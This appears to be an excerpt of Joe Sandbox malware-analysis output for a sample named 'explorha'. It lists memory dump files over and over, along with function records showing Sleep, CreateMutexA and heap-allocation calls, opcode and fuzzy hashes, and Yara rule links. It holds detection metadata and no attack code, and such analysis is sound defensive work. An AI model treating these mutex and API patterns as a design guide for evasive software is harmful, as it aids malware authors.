Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f9e89f1a84021965279002ed8f2c3cd882def989a91029cfc493057627ab72da
Instruction ID: 76a5da7ae92e48dff371cac3f8cc3979b446652aaa22697978fcb9cb12301c0b
Opcode Fuzzy Hash: f9e89f1a84021965279002ed8f2c3cd882def989a91029cfc493057627ab72da
Instruction Fuzzy Hash: 6F316B717001009BFF18EB68CD8875DBB62DB82318F248A1FE511977D2C7BD5990876A

Uniqueness

Uniqueness Score: -1.00%

Function 0048958C Relevance: 3.1, APIs: 2, Instructions: 106
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 50719bb68da72aa73d092223061582197c7b03dd9d24f907c23b8a09452523fa
Instruction ID: a31dc70c71a9223bdb450fdbe30a4613738fb6b42ee92a686e1f6a969cc6811c
Opcode Fuzzy Hash: 50719bb68da72aa73d092223061582197c7b03dd9d24f907c23b8a09452523fa
Instruction Fuzzy Hash: 5F217931B002449BFB18EB68CD847ACBB61EB82308F24461EE805AB7C1C77D59408759

Uniqueness

Uniqueness Score: -1.00%

Function 0048A326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7ef23d70eb4d2acd53e6d4c12dd88f495a1f32410f0a099b4048e52dcfffed05
Instruction ID: 45f291af26ab779e9a39ad1de44cbc2e00385954f814b86285a29ba77cf32779
Opcode Fuzzy Hash: 7ef23d70eb4d2acd53e6d4c12dd88f495a1f32410f0a099b4048e52dcfffed05
Instruction Fuzzy Hash: 742108303442009AFB28BB698C9B76DB652DB41708F344D1BE9409A7C2CAFD9890C36F

Uniqueness

Uniqueness Score: -1.00%

Function 00489E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ecdd5b858ce5ace48beb2e3defc91c49d699f6323242f46f475eb2ce959c3da7
Instruction ID: d14e44efe00dd3a6d4d3a30475f02233b6b0537d97a88033c0e7d28756b25222
Opcode Fuzzy Hash: ecdd5b858ce5ace48beb2e3defc91c49d699f6323242f46f475eb2ce959c3da7
Instruction Fuzzy Hash: 44218B717006009BFF18EB2CDD8577CBB61EB82315F24462EE9059B7D1CBBD59808759

Uniqueness

Uniqueness Score: -1.00%

Function 004BEE4F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004BBE33,00000001,00000364,00000006,000000FF,?,004C045F,?,00000004,00000000,?,?), ref: 004BEE90

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 282395a083354bfd4ec082a2ef134255f92814f429b79dad11393471f3145b67
Instruction ID: 44d86393fe3f7d93e60dfcb058f731108ee8884805719facf93112356365b903
Opcode Fuzzy Hash: 282395a083354bfd4ec082a2ef134255f92814f429b79dad11393471f3145b67
Instruction Fuzzy Hash: 02F0E93250522466DB2136239C01BDB7B989FD1760F298117BC08E6281CF7CEC0282FD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004C4330 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 450COMMON

Download Yara Rule

Strings

XL, xrefs: 004C434B, 004C44D4, 004C46FD, 004C4697, 004C4523, 004C44A9
XL, xrefs: 004C4757, 004C4595, 004C459D

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
